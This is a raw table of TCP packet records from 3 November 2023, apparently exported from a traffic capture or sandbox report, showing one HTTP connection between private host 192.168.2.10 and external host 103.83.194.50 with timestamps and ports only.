Nov 3, 2023 18:53:43.973295927 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973336935 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973366022 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973407984 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973418951 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973448038 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973452091 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973479033 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973489046 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973527908 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973555088 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973592043 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973601103 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973642111 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973658085 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973695040 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973710060 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973723888 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973747015 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973778009 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973779917 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973819017 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973858118 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973891020 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973900080 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973922014 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973931074 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973965883 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973990917 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974005938 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974029064 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974059105 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974072933 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974117041 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974201918 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974252939 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974263906 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974303961 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974309921 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974324942 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974354029 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974381924 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974414110 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974455118 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974483967 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974522114 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974548101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974586010 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974606991 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974620104 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974644899 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974663019 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974693060 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974734068 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974746943 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974783897 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974792004 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974828959 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974839926 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974869967 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974872112 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974921942 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.974927902 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974960089 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.974972963 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975012064 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975022078 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975069046 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975079060 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975116014 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975131989 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975145102 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975167990 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975189924 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975264072 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975313902 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975313902 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975362062 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975366116 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975382090 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975404024 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975421906 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975461960 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975476027 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975509882 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975537062 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975548983 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975575924 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975590944 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975634098 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975652933 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975667000 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975689888 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975722075 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975769997 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975812912 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975826979 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975866079 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975886106 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975905895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975933075 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.975953102 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.975954056 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976016045 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976073980 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976074934 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976074934 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976109982 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976120949 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976155043 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976180077 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976216078 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976228952 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976258039 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976284981 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976311922 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976340055 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976356983 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976377964 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976428032 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976434946 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976480961 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976483107 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976521969 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976531029 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976567984 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976589918 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976633072 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976655960 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976670027 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976697922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976727009 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976766109 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976771116 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976771116 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976814032 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976819038 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976865053 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976876020 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976902962 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.976927042 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976958036 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.976967096 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977005959 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.977030993 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977046013 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977072001 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.977099895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977101088 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.977168083 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977194071 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.977210045 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977211952 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.977248907 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.977255106 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977289915 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.977308035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977346897 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.977346897 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977387905 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.977396011 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977441072 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.977459908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977528095 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.977534056 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977577925 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.977608919 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977653027 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.977684975 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977737904 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.977772951 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977844954 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977858067 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.977860928 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977902889 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.977912903 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.977950096 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.977969885 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978007078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978024960 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978060961 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978071928 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978108883 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978138924 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978184938 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978214025 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978256941 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978265047 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978303909 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978317976 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978357077 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978358030 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978396893 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978420973 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978441000 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978457928 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978488922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978511095 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978579044 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978595018 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978631973 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978653908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978678942 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978689909 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978718996 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978730917 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978770971 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978796959 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978837967 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978846073 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978866100 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978888988 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978908062 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978930950 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.978971004 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.978984118 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979021072 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979037046 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979073048 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979074001 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979113102 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979131937 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979172945 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979191065 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979209900 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979217052 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979263067 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979290962 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979329109 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979367971 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979404926 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979444027 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979454041 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979468107 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979494095 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979506969 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979530096 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979551077 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979578018 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979598999 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979618073 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979624987 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979669094 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979703903 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979743004 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979762077 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979809046 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979816914 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979831934 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979859114 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979876995 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979897976 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.979940891 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.979978085 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.980021954 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.980030060 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.980072975 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.980091095 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.980115891 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.980129957 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.980159044 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.980182886 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.980214119 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.980227947 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.980259895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.980261087 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.980298042 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.980324030 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.980370045 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.980387926 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.980423927 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.980437994 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.980478048 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.980504990 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.980542898 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.980571032 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.980611086 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.980612040 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.980652094 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.013081074 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.013120890 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.013235092 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.013235092 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.013973951 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.014023066 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.014027119 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.014041901 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.014094114 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.014101028 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.014127970 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.014143944 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.014170885 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.014173985 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.014208078 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.014215946 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.014246941 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.132200003 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.132260084 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.132356882 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.132411003 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.132467985 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.132469893 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.133059978 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.133120060 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.133120060 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.133294106 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.133351088 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.133413076 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.133460045 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.133485079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.133564949 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.133621931 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.133786917 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.133900881 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.133965969 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.134001970 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.134222031 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.134275913 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.134304047 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.134335995 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.134360075 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.134403944 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.134506941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.134560108 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.134587049 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.134618044 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.134632111 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.134681940 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.134783030 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.134829998 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.134870052 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.134965897 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.135020018 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.135046005 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.135087967 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.135128975 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.135246992 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.135293961 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:44.135334015 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:44.135426044 CET	80	49711	103.83.194.50	192.168.2.10
